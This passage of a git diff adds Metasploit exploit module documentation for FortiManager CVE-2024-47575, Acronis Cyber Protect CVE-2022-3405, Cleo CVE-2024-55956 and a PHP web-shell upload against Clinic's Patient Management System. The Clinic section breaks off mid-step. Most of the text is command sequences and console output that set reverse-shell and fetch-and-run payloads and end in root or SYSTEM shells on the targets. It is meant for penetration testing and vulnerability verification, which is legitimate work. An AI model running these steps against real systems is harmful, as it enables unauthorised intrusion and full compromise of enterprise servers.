+* Extract the contents of this archive. You will get a primary hard drive image `fmg.vhd`.
+* In HyperV:
+ * Create a new virtual machine with 4096 MB RAM and 1 vCPU.
+ * Add 4 network adapters, the first must be connected to your external network (or similar) which can assigned an IP
+via DHCP. The remaining 3 adapters can remain unconnected.
+ * In the IDE controller, add a new hard drive and select the `fmg.vhd` image.
+ * In the IDE controller, add a new hard drive and create an empty image (128GB). This is used by the device to store
+data after setup.
+ * Boot the machine.
+* The console will display the FortiManager boot sequence and drop you to a login prompt. The default username is `admin`
+and the default password is empty. After you log in as admin the first time, you will be instructed to set a new admin
+password.
+* After logging in, you will be dropped to a CLI shell. Run the command `get system interface port1` in order to
+discover the IP address of your new FortiManager device.
+* At this point you can successfully exploit an unlicensed FortiManager device. Alternatively you can acquire a trial
+license of FortiManager and complete the setup by visiting `https:///` in your browser.
+
+## Verification Steps
+
+1. Start msfconsole
+2. `use exploit/linux/misc/fortimanager_rce_cve_2024_47575`
+3. `set RHOST `
+4. `set LHOST eth0`
+5. `set LPORT 4444`
+6. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
+7. `check`
+8. `exploit`
+
+## Options
+The exploit provides a suitable client certificate/key pair by default, however we can let a user configure
+a different certificate/key pair to use if they want. The user can also override the serial number and
+platform if needed, but the exploit will try to detect the serial number and platform from the certificate
+by default.
+
+### ClientCert
+A file path to an x509 cert, signed by Fortinet, with a serial number in the CN
+
+### ClientKey
+A file path to the corresponding private key for the ClientCert.
+
+### ClientSerialNumber
+If set, use this serial number instead of extracting one from the ClientCert.
+
+### ClientPlatform
+If set, use this platform instead of determining the platform at runtime.
+
+## Scenarios
+
+### Default
+
+```
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set RHOST 192.168.86.93
+RHOST => 192.168.86.93
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LHOST eth0
+LHOST => eth0
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LPORT 4444
+LPORT => 4444
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp
+PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options
+
+Module options (exploit/linux/misc/fortimanager_rce_cve_2024_47575):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ ClientCert no A file path to an x509 cert, signed by Fortinet, with a serial number in the CN
+ ClientKey no A file path to the corresponding private key for the ClientCert.
+ ClientPlatform no If set, use this platform instead of determining the platform at runtime.
+ ClientSerialNumber no If set, use this serial number instead of extracting one from the ClientCert.
+ RHOSTS 192.168.86.93 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
+ metasploit.html
+ RPORT 541 yes The target port (TCP)
+
+
+Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME GfogzcPTWbTb no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
+ LHOST eth0 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Default
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check
+[*] 192.168.86.93:541 - The service is running, but could not be validated. Detected Fortinet FortiManager
+msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit
+
+[*] Started reverse TCP handler on 192.168.86.42:4444
+[*] 192.168.86.93:541 - Client certificate common name: FMG-VM0000000000
+[*] 192.168.86.93:541 - Using client serial number 'FMG-VM0000000000' and platform 'FortiManager-VM64'.
+[*] 192.168.86.93:541 - Connecting...
+[*] 192.168.86.93:541 - Registering device...
+[*] 192.168.86.93:541 - Creating channel...
+[*] 192.168.86.93:541 - Triggering...
+[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.93:16620) at 2024-11-15 12:48:15 +0000
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.86.93
+OS : (Linux 5.15.109)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md
new file mode 100644
index 000000000000..8d55ed46fa41
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md
@@ -0,0 +1,354 @@
+## Vulnerable Application
+Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources.
+Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment.
+The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents
+on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance.
+As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions
+on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent,
+retrieve a bearer token that provides admin access to the available functions in the web console.
+
+The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup)
+and also the appliance (e.g., via a Validation job on the agent of the appliance).
+These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance
+itself.
+
+You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation
+in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and
+payload settings configured at the module.
+
+Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
+Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
+
+The following releases were tested.
+
+**Acronis Cyber Protect 15 ISO appliances:**
+* Acronis Cyber Protect 15 Build 28503
+* Acronis Cyber Protect 15 Build 27009
+* Acronis Cyber Protect 15 Build 26981
+* Acronis Cyber Protect 15 Build 26172
+
+**Acronis Cyber Protect 12.5 ISO appliances:**
+* Acronis Cyber Protect 12.5 Build 16428
+* Acronis Cyber Protect 12.5 Build 16386
+* Acronis Cyber Protect 12.5 Build 14330
+* Acronis Cyber Protect 12.5 Build 11010
+
+## Installation steps to install the Acronis Cyber Protect/Backup appliance
+* Install the virtualization engine VMware Fusion on your preferred platform.
+* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html).
+* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US).
+* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image.
+* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address
+* using the option `change installation settings`.
+* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22`
+* via the `webui` via `http://your_ip:9877`.
+* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
+* Login into the appliance via the `webui`.
+* Follow the license instructions to apply your 30-day trial license.
+
+You are now ready to test the module.
+
+## Verification Steps
+- [ ] Start `msfconsole`
+- [ ] `modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`
+- [ ] `set rhosts `
+- [ ] `set lhost `
+- [ ] `exploit`
+- [ ] you should get a `shell` or `meterpreter` session depending on your settings.
+
+## Options
+These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance.
+This information can be collected using the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`.
+This information is not mandatory for the module to run successfully.
+You can also run this module standalone and it will try to exploit the first online endpoint matching your target
+and payload settings configured at the module.
+### HOSTID
+HostId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`.
+### KEY
+Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`.
+### PARENTID
+ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`.
+### OUTPUT
+You can use option `none` where no information is stored or printed to the console (default).
+Choosing option `json` will store all information at a file in `json` format at the loot directory.
+You can use this file in combination with `jq` for offline queries and processing.
+
+## Scenarios
+```msf
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info
+
+ Name: Acronis Cyber Protect/Backup remote code execution
+ Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405
+ Platform: Unix, Linux, Windows
+ Arch: cmd
+ Privileged: Yes
+ License: Metasploit Framework License (BSD)
+ Rank: Excellent
+ Disclosed: 2022-11-08
+
+Provided by:
+ h00die-gr3y
+ Sandro Tolksdorf of usd AG.
+
+Module side effects:
+ artifacts-on-disk
+ ioc-in-logs
+
+Module stability:
+ crash-safe
+
+Module reliability:
+ repeatable-session
+
+Available targets:
+ Id Name
+ -- ----
+ => 0 Unix/Linux Command
+ 1 Windows Command
+
+Check supported:
+ Yes
+
+Basic options:
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ HOSTID no hostId value collected from recon module "auxiliary/gather/a
+ cronis_cyber_protect_machine_info_disclosure"
+ KEY no key value collected from recon module "auxiliary/gather/acro
+ nis_cyber_protect_machine_info_disclosure"
+ OUTPUT none yes Output format to use (Accepted: none, json)
+ PARENTID no parentId value collected from recon module "auxiliary/gather
+ /acronis_cyber_protect_machine_info_disclosure"
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi
+ ng-metasploit/basics/using-metasploit.html
+ RPORT 9877 yes The target port (TCP)
+ SSL true no Negotiate SSL/TLS for outgoing connections
+ TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup insta
+ nce
+ VHOST no HTTP server virtual host
+
+Payload information:
+
+Description:
+ Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
+ compute, storage and application resources. Businesses and Service Providers are using it
+ to protect and backup all IT assets in their IT environment.
+ The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous
+ registration of new protect/backup agents on new endpoints. This API endpoint also
+ generates bearer tokens which the agent then uses to authenticate to the appliance.
+ As the management web console is running on the same port as the API for the agents, this
+ bearer token is also valid for any actions on the web console. This allows an attacker
+ with network access to the appliance to start the registration of a new agent, retrieve a
+ bearer token that provides admin access to the available functions in the web console.
+
+ The web console contains multiple possibilities to execute arbitrary commands on both the
+ agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation
+ job on the agent of the appliance). These options can easily be set with the provided bearer
+ token, which leads to a complete compromise of all agents and the appliance itself.
+
+ You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
+ to collect target info for exploitation in this module. Or just run this module standalone and
+ it will try to exploit the first online endpoint matching your target and payload settings
+ configured at the module.
+
+ Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
+ Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
+
+References:
+ https://nvd.nist.gov/vuln/detail/CVE-2022-3405
+ https://herolab.usd.de/security-advisories/usd-2022-0008/
+ https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405
+
+
+View the full module info with the info -d command.
+```
+### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target
+```msf
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6
+rhosts => 192.168.201.6
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0
+target => 0
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
+payload => cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8
+FETCH_SRVHOST => 192.168.201.8
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp
+FETCH_WRITABLE_DIR => /tmp
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit
+
+[*] Started reverse TCP handler on 192.168.201.8:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated.
+[*] Retrieve the first access token.
+[*] Register a dummy backup agent.
+[*] Dummy backup agent registration is successful.
+[*] Retrieve the second access token.
+[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
+[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
+[*] Found online target matching your target setting Unix/Linux Command.
+[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83
+[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
+[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks
+[*] type: machine
+[*] hostname: AcronisAppliance-AC319
+[*] IP: 192.168.201.6
+[*] OS: GNU/Linux
+[*] ARCH: linux
+[*] ONLINE: true
+[*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.
+[*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp
+[*] Sending stage (3045380 bytes) to 192.168.201.6
+[*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000
+[+] Backup plan is successful removed.
+
+meterpreter > getuid
+Server username: root
+meterpreter > sysinfo
+Computer : 192.168.201.6
+OS : CentOS 7.4.1708 (Linux 3.10.0-693.11.6.el7.x86_64)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+meterpreter > pwd
+/var/lib/Acronis/mms
+meterpreter >
+```
+### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target
+```msf
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1
+target => 1
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json
+output => json
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell
+payload => cmd/windows/reverse_powershell
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit
+
+[*] Started reverse TCP handler on 192.168.201.8:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated.
+[*] Retrieve the first access token.
+[*] Register a dummy backup agent.
+[*] Dummy backup agent registration is successful.
+[*] Retrieve the second access token.
+[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
+[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
+[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin
+[*] Found online target matching your target setting Windows Command.
+[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC
+[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
+[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks
+[*] type: machine
+[*] hostname: WIN-BJDNH44EEDB
+[*] IP: 192.168.201.5
+[*] OS: Microsoft Windows Server 2019 Standard
+[*] ARCH: windows
+[*] ONLINE: true
+[*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC.
+[*] Executing Windows Command with payload cmd/windows/reverse_powershell
+[*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000
+[+] Backup plan is successful removed.
+
+
+Shell Banner:
+Microsoft Windows [Version 10.0.17763.107]
+-----
+
+
+C:\Windows\system32>whoami
+whoami
+nt authority\system
+
+C:\Windows\system32>systeminfo
+systeminfo
+
+Host Name: WIN-BJDNH44EEDB
+OS Name: Microsoft Windows Server 2019 Standard
+OS Version: 10.0.17763 N/A Build 17763
+OS Manufacturer: Microsoft Corporation
+OS Configuration: Standalone Server
+OS Build Type: Multiprocessor Free
+Registered Owner: Windows User
+Registered Organization:
+Product ID: 00429-70000-00000-AA946
+Original Install Date: 1/26/2023, 10:05:52 AM
+System Boot Time: 10/23/2024, 2:44:05 PM
+System Manufacturer: innotek GmbH
+System Model: VirtualBox
+System Type: x64-based PC
+Processor(s): 1 Processor(s) Installed.
+ [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2307 Mhz
+BIOS Version: innotek GmbH VirtualBox, 12/1/2006
+Windows Directory: C:\Windows
+System Directory: C:\Windows\system32
+Boot Device: \Device\HarddiskVolume1
+System Locale: en-us;English (United States)
+Input Locale: en-us;English (United States)
+Time Zone: (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna
+Total Physical Memory: 2,048 MB
+Available Physical Memory: 475 MB
+Virtual Memory: Max Size: 4,224 MB
+Virtual Memory: Available: 2,800 MB
+Virtual Memory: In Use: 1,424 MB
+Page File Location(s): C:\pagefile.sys
+Domain: WORKGROUP
+Logon Server: N/A
+Hotfix(s): 1 Hotfix(s) Installed.
+ [01]: KB4464455
+Network Card(s): 1 NIC(s) Installed.
+ [01]: Intel(R) PRO/1000 MT Desktop Adapter
+ Connection Name: Ethernet
+ DHCP Enabled: No
+ IP address(es)
+ [01]: 192.168.201.5
+ [02]: fe80::85ec:4690:3774:2b6b
+ [03]: fdf7:94fa:75b3:fe44:85ec:4690:3774:2b6b
+Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
+
+C:\Windows\system32>
+```
+### Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target
+```msf
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6
+rhosts => 192.168.201.6
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0
+target => 0
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash
+payload => cmd/unix/reverse_bash
+msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit
+
+[*] Started reverse TCP handler on 192.168.201.8:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated.
+[*] Retrieve the first access token.
+[*] Register a dummy backup agent.
+[*] Dummy backup agent registration is successful.
+[*] Retrieve the second access token.
+[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009
+[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
+[*] Found online target matching your target setting Unix/Linux Command.
+[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D
+[+] parentId: 00000000-0000-0000-0000-000000000000
+[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks
+[*] type: machine
+[*] hostname: AcronisAppliance-FCD94
+[*] IP: 192.168.201.6
+[*] OS: Linux: CentOS Linux release 7.6.1810 (Core)
+[*] ARCH: linux
+[*] ONLINE: true
+[*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D.
+[*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash
+[*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000
+[+] Backup plan is successful removed.
+
+uname -a
+Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
+id
+uid=0(root) gid=0(root) groups=0(root)
+pwd
+/var/lib/Acronis/mms
+```
+
+## Limitations
+In some occasions, the exploit might fail.
+Adjust the `WfsDelay` advanced option might help.
diff --git a/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md
new file mode 100644
index 000000000000..b03ed6596405
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md
@@ -0,0 +1,177 @@
+## Vulnerable Application
+This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
+versions 5.8.0.23 and below.
+
+For a full technical analysis, please see our
+AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis).
+
+## Testing
+You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom
+can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf).
+During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux
+you will download the `install.bin` file. Running the installer to complete the installation.
+
+By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connections to this port
+from your firewall.
+
+If testing the default Windows payloads, you should disable Defender.
+
+## Verification Steps
+
+1. Start msfconsole
+2. `use exploit/multi/http/cleo_rce_cve_2024_55956`
+3. `set RHOST `
+4. `set LHOST eth0`
+5. `set LPORT 4444`
+6. `set target 0`
+7. `set PAYLOAD java/meterpreter/reverse_tcp`
+8. `check`
+9. `exploit`
+
+## Scenarios
+
+### Java
+
+```
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
+RHOSTS => 192.168.86.50
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
+LHOST => 192.168.86.42
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
+LPORT => 4444
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0
+target => 1
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp
+payload => java/meterpreter/reverse_tcp
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
+
+Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 5080 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+
+
+Payload options (java/meterpreter/reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ LHOST 192.168.86.42 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 0 Java
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
+[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
+[*] Started reverse TCP handler on 192.168.86.42:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
+[*] Sending stage (58073 bytes) to 192.168.86.50
+[+] Deleted temp/iidqizro
+[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000
+[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target
+
+meterpreter > getuid
+Server username: WIN-V28QNSO2H05$
+meterpreter > sysinfo
+Computer : WIN-V28QNSO2H05
+OS : Windows Server 2022 10.0 (amd64)
+Architecture : x64
+System Language : en_IE
+Meterpreter : java/windows
+meterpreter > pwd
+C:\LexiCom
+meterpreter >
+```
+
+### Windows Command
+
+```
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
+RHOSTS => 192.168.86.50
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
+LHOST => 192.168.86.42
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
+LPORT => 4444
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1
+target => 1
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp
+payload => cmd/windows/http/x64/meterpreter_reverse_tcp
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
+
+Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
+ RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 5080 yes The target port (TCP)
+ SSL false no Negotiate SSL/TLS for outgoing connections
+ VHOST no HTTP server virtual host
+
+
+Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
+ EXTENSIONS no Comma-separate list of extensions to load
+ EXTINIT no Initialization strings for extensions
+ FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
+ FETCH_DELETE false yes Attempt to delete the binary after execution
+ FETCH_FILENAME APpIYmSCo no Name to use on remote system when storing payload; cannot contain spaces or slashes
+ FETCH_SRVHOST no Local IP to use for serving payload
+ FETCH_SRVPORT 8080 yes Local port to use for serving payload
+ FETCH_URIPATH no Local URI to use for serving payload
+ FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
+ LHOST 192.168.86.42 yes The listen address (an interface may be specified)
+ LPORT 4444 yes The listen port
+
+
+Exploit target:
+
+ Id Name
+ -- ----
+ 1 Windows Command
+
+
+
+View the full module info with the info, or info -d command.
+
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
+[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
+msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
+[*] Started reverse TCP handler on 192.168.86.42:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
+[+] Deleted temp/hzbcsche
+[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+meterpreter > sysinfo
+Computer : WIN-V28QNSO2H05
+OS : Windows Server 2022 (10.0 Build 20348).
+Architecture : x64
+System Language : en_US
+Domain : WORKGROUP
+Logged On Users : 1
+Meterpreter : x64/windows
+meterpreter > pwd
+C:\LexiCom
+meterpreter >
+```
diff --git a/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md
new file mode 100644
index 000000000000..cbe6258daeab
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md
@@ -0,0 +1,116 @@
+## Vulnerable Application
+The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
+This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
+The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
+a directory listing feature in `/pms/user_images`.
+This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
+
+## Verification Steps
+
+### Vulnerable Application Installation Setup
+1. Install Clinic's Patient Management System 1.0 on your web server.
+ - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
+ - For **Windows**
+ - [ ] Open your XAMPP Control Panel and start Apache and MySQL.
+ - [ ] Extract the downloaded source code zip file.
+ - [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory.
+ - [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
+ - [ ] Create a new database naming `pms_db`.
+ - [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder.
+ - [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/
+
+ - For **Linux**
+ - [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql`
+ - [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y`
+ - [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
+ - [ ] Extract the downloaded source code zip file into "/var/www/html" directory
+ - [ ] Next steps are similar to the ones for Windows, so follow that
+
+2. Start `msfconsole` and load the exploit module:
+```bash
+ msfconsole
+ use exploit/multi/http/clinic_pms_fileupload_rce
+```
+
+3. Set the required options:
+```bash
+ set rport
+ set rhost
+ set targeturi /pms
+```
+
+4. Check if the target is vulnerable:
+```bash
+ check
+```
+
+ If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
+```
+ [+] The target is vulnerable.
+```
+
+5. Set up the listener for the exploit:
+```bash
+ set lport
+ set lhost
+```
+
+6. Launch the exploit:
